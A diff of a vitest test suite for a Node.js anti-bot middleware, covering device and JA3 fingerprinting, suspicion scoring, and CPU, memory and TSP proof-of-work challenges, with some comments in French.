- await inMemoryStore.set('subnet:10.0.0.0/24', {
2121
- highScoreCount: 5, // score += 5 * 2 = 10
2122
- deviceIds: ['d1', 'd2'], // count < 10, score += 0
2123
- });
2124
- ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
2125
- expect(subnetScore).toBe(10);
2126
-
2127
- // 3. Many devices and high scores
2128
- const deviceIds = Array.from({ length: 20 }, (_, i) => `d${i}`);
2129
- await inMemoryStore.set('subnet:10.0.0.0/24', {
2130
- highScoreCount: 30, // score += min(40, 30 * 2) = 40
2131
- deviceIds: deviceIds, // count = 20. score += (20-10)*5 = 50
2132
- });
2133
- ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
2134
- expect(subnetScore).toBe(90); // 40 + 50
2135
- });
2136
- });
2137
-
2138
- describe('Firefox TE Header Anomaly', () => {
2139
- const securityConfig = {
2140
- weights: { headerAnomalyScore: 1.0 },
2141
- thresholds: { low: 20, medium: 45, high: 75 }
2142
- };
2143
-
2144
- it('should penalize Firefox desktop UA without TE: trailers', async () => {
2145
- const context = {
2146
- clientIp: '1.1.1.1',
2147
- path: '/',
2148
- headers: {
2149
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
2150
- 'accept-language': 'en-US,en;q=0.9',
2151
- },
2152
- cookies: { device_id: 'some-device' },
2153
- };
2154
- const vector = await __internal.getSuspicionVector(context, securityConfig);
2155
- expect(vector.headerAnomalyScore).toBe(30);
2156
- });
2157
-
2158
- it('should not penalize Firefox desktop UA with TE: trailers', async () => {
2159
- const context = {
2160
- clientIp: '1.1.1.1',
2161
- path: '/',
2162
- headers: {
2163
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
2164
- 'accept-language': 'en-US,en;q=0.9',
2165
- 'te': 'trailers',
2166
- },
2167
- cookies: { device_id: 'some-device' },
2168
- };
2169
- const vector = await __internal.getSuspicionVector(context, securityConfig);
2170
- expect(vector.headerAnomalyScore).toBe(0);
2171
- });
2172
-
2173
- it('should penalize non-Firefox desktop UA with TE: trailers', async () => {
2174
- const context = {
2175
- clientIp: '1.1.1.1',
2176
- path: '/',
2177
- headers: {
2178
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
2179
- 'accept-language': 'en-US,en;q=0.9',
2180
- 'te': 'trailers',
2181
- },
2182
- cookies: { device_id: 'some-device' },
2183
- };
2184
- const vector = await __internal.getSuspicionVector(context, securityConfig);
2185
- expect(vector.headerAnomalyScore).toBe(30);
2186
- });
2187
- });
2188
-
2189
- describe('FingerprintEngine.processRequest - updateSubnetMetrics call logic', () => {
2190
- const inMemoryStore = {
2191
- _map: new Map(),
2192
- async get(key) { return this._map.get(key); },
2193
- async set(key, value) { this._map.set(key, value); },
2194
- async has(key) { return this._map.has(key); },
2195
- async delete(key) { this._map.delete(key); },
2196
- };
2197
-
2198
- let securityConfig;
2199
- let engine;
2200
- let updateSubnetMetricsSpy;
2201
- let getSuspicionVectorSpy;
2202
- let calculateFinalScoreSpy;
2203
-
2204
- beforeEach(() => {
2205
- inMemoryStore._map.clear();
2206
- configureStore(inMemoryStore);
2207
-
2208
- securityConfig = {
2209
- weights: { historyScore: 1.0 },
2210
- thresholds: { low: 20, medium: 45, high: 75, block: 95 }, // Default blockThreshold
2211
- };
2212
- engine = new FingerprintEngine(securityConfig);
2213
-
2214
- // Spy on the internal updateSubnetMetrics function
2215
- updateSubnetMetricsSpy = vi.spyOn(__internal, 'updateSubnetMetrics').mockResolvedValue(undefined);
2216
- // Spy on getSuspicionVector to control the input to calculateFinalScore
2217
- getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({});
2218
- // Spy on calculateFinalScore to directly control the finalScore
2219
- calculateFinalScoreSpy = vi.spyOn(engine, 'calculateFinalScore');
2220
- });
2221
-
2222
- afterEach(() => {
2223
- updateSubnetMetricsSpy.mockRestore();
2224
- getSuspicionVectorSpy.mockRestore();
2225
- calculateFinalScoreSpy.mockRestore();
2226
- });
2227
-
2228
- it('should call updateSubnetMetrics if finalScore is between lowThreshold and blockThreshold', async () => {
2229
- calculateFinalScoreSpy.mockReturnValue(50); // Score between 20 and 95
2230
- const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
2231
-
2232
- await engine.processRequest(requestContext);
2233
-
2234
- expect(updateSubnetMetricsSpy).toHaveBeenCalledTimes(1);
2235
- expect(updateSubnetMetricsSpy).toHaveBeenCalledWith(requestContext, expect.any(String), 50);
2236
- });
2237
-
2238
- it('should NOT call updateSubnetMetrics if finalScore is equal to or above blockThreshold', async () => {
2239
- calculateFinalScoreSpy.mockReturnValue(95); // Score equals blockThreshold
2240
- const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
2241
-
2242
- await engine.processRequest(requestContext);
2243
-
2244
- expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
2245
-
2246
- calculateFinalScoreSpy.mockReturnValue(100); // Score above blockThreshold
2247
- await engine.processRequest(requestContext);
2248
-
2249
- expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
2250
- });
2251
- });
2252
-
2253
- describe('Additional Suspicion Vectors Coverage', () => {
2254
- const inMemoryStore = {
2255
- _map: new Map(),
2256
- async get(key) { return this._map.get(key); },
2257
- async set(key, value) { this._map.set(key, value); },
2258
- async has(key) { return this._map.has(key); },
2259
- async delete(key) { this._map.delete(key); },
2260
- };
2261
-
2262
- beforeEach(() => {
2263
- inMemoryStore._map.clear();
2264
- configureStore(inMemoryStore);
2265
- });
2266
-
2267
- it('should calculate a high rotationScore for rapid fingerprint changes', async () => {
2268
- const context = {
2269
- clientIp: '127.0.0.1',
2270
- cookies: { device_id: 'rotating-device' },
2271
- headers: { 'user-agent': 'test-ua' }
2272
- };
2273
-
2274
- await inMemoryStore.set('device:rotating-device', {
2275
- initialDeviceHash: 'hash-A',
2276
- ips: new Set(['127.0.0.1']),
2277
- lastUpdate: Date.now(),
2278
- lastFpHash: 'hash-A',
2279
- lastChangeTimestamp: Date.now(),
2280
- rapidChangeCount: 3,
2281
- });
2282
-
2283
- const vector = await __internal.getSuspicionVector(context, {
2284
- weights: { rotationScore: 1.0 },
2285
- thresholds: { low: 20 }
2286
- });
2287
-
2288
- expect(vector.rotationScore).toBe(100);
2289
- });
2290
-
2291
- it('should calculate a high botScore when bot or cdp markers are present in device fingerprint', async () => {
2292
- const contextBot = {
2293
- clientIp: '127.0.0.1',
2294
- headers: { 'x-device-fingerprint': 'ua:123|bot:true' }
2295
- };
2296
- const contextCdp = {
2297
- clientIp: '127.0.0.1',
2298
- headers: { 'x-device-fingerprint': 'ua:123|cdp:true' }
2299
- };
2300
-
2301
- const vectorBot = await __internal.getSuspicionVector(contextBot, { weights: { botScore: 1.0 } });
2302
- const vectorCdp = await __internal.getSuspicionVector(contextCdp, { weights: { botScore: 1.0 } });
2303
-
2304
- expect(vectorBot.botScore).toBe(100);
2305
- expect(vectorCdp.botScore).toBe(100);
2306
- });
2307
-
2308
- it('should calculate a high crossLayerInconsistencyScore when OS mismatch is detected', () => {
2309
- const context = {
2310
- headers: {
2311
- 'x-device-fingerprint': `os:${cyrb53("Windows")}`,
2312
- 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15'
2313
- }
2314
- };
2315
-
2316
- const { crossLayerInconsistencyScore } = __internal.getCrossLayerInconsistency(context);
2317
- expect(crossLayerInconsistencyScore).toBe(50);
2318
- });
2319
- });
1
+ import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
2
+ import {createHash, createHmac} from 'node:crypto';
3
+ import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
4
+ import {readFileSync} from 'node:fs';
5
+ import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
6
+ import * as dns from 'node:dns/promises';
7
+ import * as fingerprint from '../fingerprint.js';
8
+
9
+ // Mock import.meta.env before importing the module that uses it
10
+ vi.mock('import-meta-env', () => ({
11
+ env: { NODE_ENV: 'test', POW_SECRET: 'fallback-dev-secret-32-chars-minimum' },
12
+ }));
13
+ // Mock readFileSync for custom challenge page tests
14
+ vi.mock('node:fs', async () => {
15
+ const actualFs = await vi.importActual('node:fs');
16
+ return { ...actualFs, readFileSync: vi.fn() };
17
+ });
18
+
19
+ const {
20
+ FingerprintEngine,
21
+ isTicketValid,
22
+ identifyRequest,
23
+ powMiddleware,
24
+ __internal,
25
+ configureStore,
26
+ getClientHintsInconsistencyScore,
27
+ verifyCpuTargetPoWAndGenerateTicket,
28
+ verifyMemoryPoW,
29
+ verifyTspChallenge,
30
+ startThresholdAutoTuning,
31
+ default_whitelist,
32
+ stopThresholdAutoTuning,
33
+ getCompositeDeviceHash,
34
+ } = fingerprint;
35
+ const { store, getRequestPatternScore, getDeviceHash } = __internal;
36
+ let { getBehaviorScore, getClickVarianceScore } = __internal;
37
+ // Mock the entire dns module
38
+ vi.mock('node:dns/promises');
39
+
40
+ describe('Fingerprint & PoW Security Suite', () => {
41
+ test('cyrb53 should be deterministic', () => {
42
+ const input = "test-string";
43
+ expect(cyrb53(input)).toBe(cyrb53(input));
44
+ expect(cyrb53("a")).not.toBe(cyrb53("b"));
45
+ });
46
+
47
+ describe('FingerprintBuilder', () => {
48
+ test('should handle null and undefined values gracefully', () => {
49
+ const builder = new FingerprintBuilder();
50
+ builder.add('key1', 'value1');
51
+ builder.add('key2', null);
52
+ builder.add('key3', undefined);
53
+ expect(builder.toString()).toBe('key1:6263243896157005');
54
+ });
55
+
56
+ test('comparison logic should handle various cases', () => {
57
+ const fp1 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
58
+ const fp2 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
59
+ const fp3 = new FingerprintBuilder().add('hw', '4_8').add('gpu', 'amd').toString();
60
+ const fp4 = new FingerprintBuilder().add('hw', '8_16').add('os', 'win32').toString(); // Partial match
61
+
62
+ expect(FingerprintBuilder.compare(fp1, fp2), "Identical FPs should return 1").toBe(1);
63
+ expect(FingerprintBuilder.compare(fp1, fp3), "Different FPs should have low similarity score").toBeLessThan(0.5);
64
+ expect(FingerprintBuilder.compare(fp1, fp4), "Partial match should return a score between 0 and 1").toBeGreaterThan(0);
65
+ expect(FingerprintBuilder.compare(fp1, fp4)).toBeLessThan(1);
66
+ expect(FingerprintBuilder.compare(fp1, ''), "Comparison with empty string should be 0").toBe(0);
67
+ expect(FingerprintBuilder.compare(null, fp2), "Comparison with null should be 0").toBe(0);
68
+ });
69
+ });
70
+
71
+ describe('JA3 Fingerprinting', () => {
72
+
73
+ const mockClientHello = {
74
+ version: 'TLSv1.3',
75
+ ciphers: [4865, 4866],
76
+ extensions: [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21],
77
+ ellipticCurves: [29, 23, 24],
78
+ ellipticCurvePointFormats: [0],
79
+ };
80
+
81
+ afterEach(() => {
82
+ // Restore any spies after each test in this block
83
+ vi.restoreAllMocks();
84
+ });
85
+
86
+ test('should prioritize JA3 hash from x-ja3-hash header', async () => {
87
+ const context = {
88
+ headers: { 'x-ja3-hash': 'header-provided-ja3-hash' },
89
+ rawReq: { socket: { clientHello: mockClientHello } } // Even if socket data exists
90
+ };
91
+ // We test getTlsFingerprint directly to isolate the logic.
92
+ const { ja3 } = fingerprint.__internal.getTlsFingerprint(context);
93
+ expect(ja3).toBe('header-provided-ja3-hash');
94
+ });
95
+
96
+ test('should calculate JA3 hash from clientHello if header is missing', () => {
97
+ const context = {
98
+ headers: {},
99
+ rawReq: { socket: { clientHello: mockClientHello } }
100
+ };
101
+ const { ja3 } = fingerprint.__internal.getTlsFingerprint(context); // Directly call the function
102
+ // We need to calculate the expected JA3 hash to verify it.
103
+ const expectedJa3String = '772,4865-4866,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0';
104
+ const expectedJa3Md5 = createHash('md5').update(expectedJa3String).digest('hex');
105
+ const expectedComponentHash = cyrb53(expectedJa3Md5);
106
+
107
+ const deviceHash = getCompositeDeviceHash(context); // Now call getCompositeDeviceHash after getTlsFingerprint
108
+ expect(deviceHash).toContain(`ja3:${expectedComponentHash}`);
109
+ expect(ja3).toBe(expectedJa3Md5);
110
+ });
111
+
112
+ test('should not include JA3 hash if no data is available', () => {
113
+ // Ensure getTlsFingerprint returns nulls for this specific test
114
+ vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
115
+
116
+ const context = {
117
+ headers: {},
118
+ rawReq: { socket: {} } // No clientHello
119
+ };
120
+ const deviceHash = getCompositeDeviceHash(context);
121
+ expect(deviceHash).not.toContain('ja3:');
122
+ });
123
+
124
+ test('should handle missing rawReq or socket gracefully', () => {
125
+ // Ensure getTlsFingerprint returns nulls for this specific test
126
+ vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
127
+
128
+ const context1 = { headers: {} }; // No rawReq
129
+ const context2 = { headers: {}, rawReq: {} }; // No socket
130
+
131
+ const deviceHash1 = getCompositeDeviceHash(context1);
132
+ const deviceHash2 = getCompositeDeviceHash(context2);
133
+
134
+ expect(deviceHash1).not.toContain('ja3:');
135
+ expect(deviceHash2).not.toContain('ja3:');
136
+ });
137
+ });
138
+
139
+
140
+
141
+ describe('CPU Target PoW Workflow', () => {
142
+ const ip = '127.0.0.1';
143
+ const nonce = 'test-nonce';
144
+ const suspicionFactor = 0.1; // Low suspicion for a quick test
145
+ const clientSecret = 'my-super-secret-client-key';
146
+
147
+ test('should solve and verify correctly without a clientSecret (fallback)', async () => {
148
+ const securityConfig = { cpu: { minDifficultyBits: 2, maxDifficultyBits: 4 } }; // Difficulté plus faible pour le test
149
+ let solution = 0;
150
+ const target = __internal.calculateTarget(suspicionFactor, securityConfig);
151
+ const baseBlock = new TextEncoder().encode(`${nonce}::test-fp-string:`);
152
+ while (true) {
153
+ const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
154
+ const hash = createHash('sha256').update(finalBlock).digest('hex');
155
+ if (BigInt('0x' + hash) < target) break;
156
+ solution++;
157
+ }
158
+ const challengeContext = { cpuTarget: target.toString(16), baseBlock };
159
+
160
+ const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
161
+ expect(ticket, "Ticket should be generated for a valid solution without secret").toBeTruthy();
162
+ expect(await isTicketValid(ip, ticket), "Ticket should be valid").toBe(true);
163
+ });
164
+
165
+ test('should solve and verify correctly WITH a clientSecret', async () => {
166
+ const securityConfig = { cpu: { minDifficultyBits: 4 } };
167
+ let solution = 0;
168
+ const target = __internal.calculateTarget(suspicionFactor, securityConfig);
169
+ // Client-side simulation now includes the secret
170
+ const solverFingerprint = 'fp-with-secret';
171
+ const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
172
+
173
+ while (true) {
174
+ const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
175
+ const hash = createHash('sha256').update(finalBlock).digest('hex');
176
+ if (BigInt('0x' + hash) < target) break;
177
+ solution++;
178
+ }
179
+
180
+ const challengeContext = { cpuTarget: target.toString(16), baseBlock };
181
+
182
+ // Server-side verification includes the secret
183
+ const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
184
+ expect(ticket, "Ticket should be generated for a valid solution with secret").toBeTruthy();
185
+ expect(await isTicketValid(ip, ticket), "Ticket should be valid for the same IP").toBe(true);
186
+ expect(await isTicketValid('1.1.1.1', ticket), "Ticket should not be valid for a different IP").toBe(false);
187
+ });
188
+
189
+ test('should solve a medium-difficulty challenge within a reasonable time', async () => {
190
+ const ip = '127.0.0.1';
191
+ const nonce = 'test-nonce-perf';
192
+ const suspicionFactor = 0.5; // "Niveau 2"
193
+ const clientSecret = 'perf-secret';
194
+ const securityConfig = { cpu: { minDifficultyBits: 18, maxDifficultyBits: 24 } };
195
+
196
+ // Calcule la cible comme le ferait le serveur
197
+ const target = __internal.calculateTarget(suspicionFactor, securityConfig);
198
+ const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}::`);
199
+
200
+ // Simule la résolution du challenge
201
+ let solution = 0;
202
+ while (true) {
203
+ const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
204
+ const hash = createHash('sha256').update(finalBlock).digest('hex');
205
+ if (BigInt('0x' + hash) < target) break;
206
+ solution++;
207
+ }
208
+
209
+ expect(solution).toBeGreaterThan(0); // Vérifie que le challenge a bien été résolu
210
+ }, 40000); // Timeout de 8 secondes pour ce test
211
+ });
212
+
213
+ test('PoW Ticket Expiration', async () => {
214
+ const ip = '127.0.0.1';
215
+ // Simulate an expired ticket by manipulating the string (for testing)
216
+ const expiredTimestamp = Date.now() - 1000;
217
+ const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiredTimestamp}`).digest("hex");
218
+ const ticket = `${expiredTimestamp}:${signature}`;
219
+ expect(await isTicketValid(ip, ticket), "An expired ticket should be rejected").toBe(false);
220
+ });
221
+
222
+ describe('Memory PoW Verification', () => {
223
+ const nonce = 'test-nonce-mem';
224
+ const difficulty = 1; // 1MB for a quick test
225
+ const clientSecret = 'my-mem-secret';
226
+
227
+ const solveMemPoW = (seed, diff) => {
228
+ const size = diff * 1024 * 1024;
229
+ const buffer = new Uint32Array(size / 4);
230
+ let h = new TextEncoder().encode(seed).reduce((acc, v) => acc + v, 0);
231
+ for (let i = 0; i < buffer.length; i++) {
232
+ buffer[i] = (h = Math.imul(h ^ i, 1597334677));
233
+ }
234
+ let clientSolution = 0;
235
+ const iterations = size / 16;
236
+ // Align the test solver with the actual implementation in fingerprint.js
237
+ // This uses a data-dependent memory access pattern, which is more secure.
238
+ let addr = buffer.length > 0 ? buffer[0] % buffer.length : 0;
239
+ for (let i = 0; i < iterations; i++) {
240
+ addr = buffer[addr] % buffer.length;
241
+ clientSolution ^= addr;
242
+ }
243
+ return clientSolution;
244
+ };
245
+
246
+ test('should verify correctly without a clientSecret', () => {
247
+ const clientSolution = solveMemPoW(`:${nonce}:`, difficulty);
248
+ expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, undefined), "Valid memory PoW solution should be accepted").toBe(true);
249
+ expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, undefined), "Invalid memory PoW solution should be rejected").toBe(false);
250
+ });
251
+
252
+ test('should verify correctly WITH a clientSecret', () => {
253
+ const seed = `:${nonce}:${clientSecret}`;
254
+ const clientSolution = solveMemPoW(seed, difficulty);
255
+
256
+ // Server-side verification
257
+ expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, clientSecret), "Valid memory PoW with secret should be accepted").toBe(true);
258
+ expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, clientSecret), "Invalid memory PoW with secret should be rejected").toBe(false);
259
+ expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, 'wrong-secret'), "Memory PoW with wrong secret should be rejected").toBe(false);
260
+ });
261
+ });
262
+
263
+ test('TSP Challenge Verification', () => {
264
+ const nonce = 'test-nonce-tsp';
265
+ const cities = [{x: 10, y: 10}, {x: 90, y: 90}, {x: 10, y: 90}, {x: 90, y: 10}];
266
+ const numCities = cities.length;
267
+ const targetMaxDistance = 350; // A reasonable target for this square
268
+
269
+ // A valid, optimal path for this square is [0, 2, 1, 3] or similar
270
+ const validSolution = JSON.stringify([0, 2, 1, 3]);
271
+ // An invalid path (not a permutation)
272
+ const invalidPermutation = JSON.stringify([0, 1, 1, 2]);
273
+ // A valid path, but likely too long
274
+ const suboptimalSolution = JSON.stringify([0, 1, 2, 3]);
275
+
276
+ expect(verifyTspChallenge(nonce, validSolution, numCities, targetMaxDistance, cities), "A valid TSP solution should be accepted").toBe(true);
277
+ expect(verifyTspChallenge(nonce, invalidPermutation, numCities, targetMaxDistance, cities), "A TSP solution that is not a permutation should be rejected").toBe(false);
278
+
279
+ // This test assumes the simple path is longer than the target.
280
+ const isSuboptimalRejected = !verifyTspChallenge(nonce, suboptimalSolution, numCities, targetMaxDistance, cities);
281
+ if (isSuboptimalRejected) {
282
+ expect(true, "A suboptimal TSP solution (too long) should be rejected").toBe(true);
283
+ }
284
+ });
285
+
286
+ describe('identifyRequest (for Rate Limiting)', () => {
287
+ const inMemoryStore = {
288
+ _map: new Map(),
289
+ get: async (key) => inMemoryStore._map.get(key),
290
+ set: async (key, value) => inMemoryStore._map.set(key, value),
291
+ has: async (key) => inMemoryStore._map.has(key),
292
+ delete: async (key) => inMemoryStore._map.delete(key),
293
+ };
294
+ const securityConfig = {
295
+ weights: { historyScore: 0.3, rotationScore: 0.5, headerAnomalyScore: 0.4, inconsistencyScore: 0.8 },
296
+ thresholds: { low: 20, medium: 35, high: 75 }
297
+ };
298
+ let engine;
299
+
300
+ beforeEach(() => {
301
+ inMemoryStore._map.clear();
302
+ configureStore(inMemoryStore);
303
+ vi.restoreAllMocks(); // Restore mocks before each test
304
+ // Add a default mock for getTlsFingerprint to stabilize these tests
305
+ vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
306
+ ja3: 'mock-ja3', ja4: 'mock-ja4'
307
+ });
308
+ engine = new FingerprintEngine(securityConfig);
309
+ });
310
+
311
+ test('should return a device-specific key for a normal request', async () => {
312
+ const requestContext = {
313
+ clientIp: '127.0.0.1',
314
+ cookies: {},
315
+ headers: { // Minimal headers
316
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
317
+ 'accept-language': 'en-US,en;q=0.9',
318
+ 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
319
+ },
320
+ rawHeaders: ['User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept-Language', 'en-US,en;q=0.9', 'Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'],
321
+ httpVersion: '1.1',
322
+ query: new URLSearchParams() };
323
+ const key = await engine.identifyRequest(requestContext);
324
+ expect(key).toMatch(/^device:/);
325
+ });
326
+
327
+ test('should return a suspicion-based key for a highly suspicious request', async () => {
328
+ // This context simulates a request from a simple script (e.g., curl) with missing headers.
329
+ const requestContext = {
330
+ clientIp: '127.0.0.1',
331
+ cookies: {},
332
+ headers: {}, // Simulate completely missing headers
333
+ rawHeaders: [],
334
+ httpVersion: '1.1',
335
+ query: new URLSearchParams()
336
+ };
337
+ const key = await engine.identifyRequest(requestContext);
338
+ // Missing accept/accept-language headers should trigger a medium suspicion score.
339
+ expect(key).toBe('suspicious_medium:127.0.0.1');
340
+ });
341
+ });
342
+
343
+ test('getDeviceHash should prioritize client-side fingerprint header', async () => {
344
+ // 1. Spy on the getDeviceHash function from its actual module
345
+ const getDeviceHashSpy = vi.spyOn(fingerprint, 'getDeviceHash');
346
+
347
+ // 2. Simulate a request context with the special header
348
+ const clientSideFingerprint = 'cvs:12345|gpu:67890|hw:stable';
349
+ const requestContext = {
350
+ headers: {
351
+ 'user-agent': 'A regular user agent',
352
+ 'x-device-fingerprint': clientSideFingerprint,
353
+ },
354
+ // ... other context properties
355
+ };
356
+
357
+ // 3. Call the function and assert it returns the client-side FP
358
+ const result = fingerprint.getDeviceHash(requestContext);
359
+
360
+ expect(result).toBe(clientSideFingerprint);
361
+ expect(getDeviceHashSpy).toHaveBeenCalledWith(requestContext);
362
+ });
363
+
364
+ describe('powMiddleware', () => {
365
+ // Mock store for tests
366
+ const inMemoryStore = {
367
+ _map: new Map(),
368
+ async get(key) { return this._map.get(key); },
369
+ async set(key, value) { this._map.set(key, value); },
370
+ async has(key) { return this._map.has(key); },
371
+ async delete(key) { this._map.delete(key); },
372
+ };
373
+ beforeEach(() => {
374
+ inMemoryStore._map.clear();
375
+ configureStore(inMemoryStore);
376
+ });
377
+
378
+ // Détecte si on est dans un environnement de CI/CD
379
+ const isCI = !!process.env.CI;
380
+
381
+ // Configuration de base pour les tests
382
+ let securityConfig = {
383
+ // Adjust weights to be more realistic and less aggressive for testing.
384
+ // This prevents minor suspicion scores from being overly amplified and causing immediate blocks.
385
+ weights: {
386
+ historyScore: 0.3,
387
+ rotationScore: 0.2,
388
+ headerAnomalyScore: 0.1,
389
+ inconsistencyScore: 0.2,
390
+ requestPatternScore: 0.2,
391
+ honeypotScore: 1.0, // Garder un poids élevé pour les tests de honeypot
392
+ },
393
+ thresholds: { low: 20, medium: 45, high: 75 },
394
+ // NOUVEAU : Activer explicitement le challenge pour les nouveaux appareils pour ce scénario de test.
395
+ // C'est cette option qui permet à la logique de s'exécuter.
396
+ challengeNewDevices: true,
397
+ };
398
+ // For this specific test, we need to disable the new device challenge
399
+ // to ensure a truly non-suspicious request passes without a challenge.
400
+ const nonSuspiciousConfig = { ...securityConfig, challengeNewDevices: false };
401
+
402
+
403
+ // Si on est en CI, on surcharge la configuration pour abaisser la difficulté
404
+ if (isCI) {
405
+ console.log('[CI Mode] Using low-difficulty configuration for tests.');
406
+ securityConfig = {
407
+ ...securityConfig,
408
+ cpu: {
409
+ minDifficultyBits: 1, // Difficulté CPU minimale
410
+ maxDifficultyBits: 2, // Difficulté CPU maximale très faible
411
+ }
412
+ };
413
+ }
414
+
415
+ afterEach(() => {
416
+ vi.restoreAllMocks();
417
+ });
418
+
419
+ test('should call next() for a non-suspicious request', async () => {
420
+ // Simuler un appareil connu et non suspect
421
+ const deviceId = 'known-device-123';
422
+ await inMemoryStore.set(`device:${deviceId}`, {
423
+ initialDeviceHash: 'some-hash',
424
+ ips: new Set(['127.0.0.1']),
425
+ lastUpdate: Date.now(),
426
+ lastFpHash: 'some-hash',
427
+ lastChangeTimestamp: 0,
428
+ rapidChangeCount: 0,
429
+ });
430
+
431
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
432
+ historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
433
+ });
434
+
435
+ const req = { path: '/', ip: '127.0.0.1', cookies: { device_id: deviceId }, query: {}, headers: { 'user-agent': 'test-ua' } };
436
+ const res = { cookie: vi.fn(), status: vi.fn().mockReturnThis(), send: vi.fn() };
437
+ const next = vi.fn();
438
+
439
+ const middleware = powMiddleware(nonSuspiciousConfig);
440
+ await middleware(req, res, next);
441
+
442
+ expect(next, 'next() should have been called').toHaveBeenCalled();
443
+ // Pour un appareil connu, le cookie ne doit pas être redéfini
444
+ expect(res.cookie).not.toHaveBeenCalled();
445
+ });
446
+
447
+ test('should issue a minimal challenge for a new, non-suspicious device', async () => {
448
+ // 1. Simuler un score de suspicion de 0.
449
+ // A new device should have a score of at least 1 to trigger the initial challenge.
450
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
451
+ historyScore: 1, rotationScore: 1, headerAnomalyScore: 1, inconsistencyScore: 0, honeypotScore: 0, requestPatternScore: 0
452
+ });
453
+
454
+ // 2. Simuler une nouvelle requête (pas de cookie device_id)
455
+ const req = {
456
+ path: '/', ip: '127.0.0.1', cookies: {}, query: {},
457
+ headers: { 'user-agent': 'A normal browser' },
458
+ rawHeaders: ['User-Agent', 'A normal browser'], httpVersion: '1.1'
459
+ };
460
+ let sentStatus, sentBody;
461
+ const res = {
462
+ status: (s) => { sentStatus = s; return res; },
463
+ send: (b) => { sentBody = b; },
464
+ cookie: vi.fn()
465
+ };
466
+ const next = vi.fn();
467
+
468
+ await powMiddleware(securityConfig)(req, res, next);
469
+
470
+ // 3. Vérifier qu'un challenge est bien émis, même avec un score de 0
471
+ expect(sentStatus).toBe(404);
472
+ expect(sentBody).toContain('Enhanced Verification');
473
+ expect(next).not.toHaveBeenCalled();
474
+ });
475
+
476
+ test('should issue a challenge for a suspicious request', async () => {
477
+ const getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async (requestContext, securityConfig) => {
478
+ // The securityConfig is passed as the second argument
479
+ expect(securityConfig).toBeDefined();
480
+ return {
481
+ historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
482
+ };
483
+ });
484
+
485
+ const req = {
486
+ path: '/',
487
+ ip: '127.0.0.1',
488
+ cookies: {},
489
+ query: {},
490
+ headers: { 'user-agent': 'test-ua' },
491
+ rawHeaders: ['User-Agent', 'test-ua'], httpVersion: '1.1' };
492
+ let sentStatus, sentBody;
493
+ const res = {
494
+ status: (s) => { sentStatus = s; return res; },
495
+ send: (b) => { sentBody = b; },
496
+ cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
497
+ };
498
+ const next = vi.fn(() => { throw new Error('next() should not be called'); });
499
+
500
+ req.fingerprint = {};
501
+ const middleware = powMiddleware(securityConfig);
502
+ await middleware(req, res, next);
503
+
504
+ assert.strictEqual(sentStatus, 404, 'Status should be 404');
505
+ assert.ok(sentBody.includes('Enhanced Verification'), 'Should send a combined challenge page even for low suspicion');
506
+ assert.ok(sentBody.includes('Initializing combined verification...'), 'Challenge should always be the combined CPU+Mem type');
507
+ });
508
+
509
+ test('should issue a Memory challenge for a medium-suspicious request', async () => {
510
